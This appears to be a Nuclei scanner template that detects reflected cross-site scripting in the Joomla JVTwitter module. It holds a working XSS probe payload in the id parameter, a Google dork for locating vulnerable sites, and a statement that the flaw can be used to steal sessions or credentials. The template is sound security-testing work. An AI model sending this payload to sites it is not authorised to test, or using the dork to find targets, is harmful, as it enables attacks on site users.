id: joomla-jvtwitter-xss

info:
  name: Joomla JVTwitter - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
  reference:
    - https://buaq.net/go-44433.html
    - https://cxsecurity.com/issue/WLB-2020110041
    - https://extensions.joomla.org/
  classification:
    cwe-id: CWE-79,CWE-83
  metadata:
    verified: true
    max-request: 2
    google-query: inurl:mod_jvtwitter/jvtwitter.php?id=
  tags: joomla,jvtwitter,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/modules/mod_jvtwitter/jvtwitter.php?id=%22%3E%3Cimg%20src=x%20onerror=prompt(document.domain);%3E"
      - "{{BaseURL}}/modules/mod_jvtwitter/jvtwitter.php?id="

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200'
          - 'contains(content_type_1, "text/html")'
          - 'contains(body_1, "><img src=x onerror=prompt(document.domain)")'
          - 'contains(body_2,"{\"rs\":\"0")'
        condition: and
# digest: 4a0a00473045022100d1872fcc2b3089c5b8ff1d9c37604248dfbdbcdd018d993f6f9b257edc01949d0220394acc8bc50f6ca68f4aa7bba64c1d7718aa5b73e18a63093d68b76fb5a0d366:922c64590222798bb761d5b6d8e72950